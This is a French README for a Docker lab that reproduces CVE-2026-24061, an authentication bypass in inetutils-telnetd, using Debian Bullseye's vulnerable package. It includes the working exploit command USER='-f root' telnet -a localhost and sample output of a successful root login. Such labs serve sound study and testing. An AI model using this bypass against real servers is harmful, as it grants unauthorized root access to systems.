
Un petit laboratoire Docker pour jouer avec cve-2026-24061, le contournement d'authentification inetutils-telnetd.
Un petit laboratoire pour jouer avec le contournement d'authentification dans inetutils-telnetd 1.9.3 - 2.7 tel que divulgué sur la liste de diffusion oss-sec. [0]
Ce conteneur repose sur le fait qu'inetutils-telnetd est encore une version vulnérable dans Debian 11 (Bullseye). Au moment de sa création, c'était :
root@ba8cc6858b87:/# apt search inetutils-telnetd
Sorting... Done
Full Text Search... Done
inetutils-telnetd/oldoldstable 2:2.0-1+deb11u2 arm64
telnet server
Clonez et construisez le conteneur avec docker build -t telnetd-exploit ..
Exécutez le conteneur avec docker run --rm -it telnetd-exploit. Un message vous montrera le PoC.
docker run --rm -it telnetd-exploit
Starting internet superserver: inetd.
You are user1. Try telnet as root with: USER='-f root' telnet -a localhost
user1@114102afa5d3:/$
Une exécution réussie ressemblerait à ceci :
user1@114102afa5d3:/$ USER='-f root' telnet -a localhost
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 6.17.8 (114102afa5d3) (pts/1)
Linux 114102afa5d3 6.17.8 #1 SMP PREEMPT Thu Nov 20 09:34:02 UTC 2025 aarch64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@114102afa5d3:~#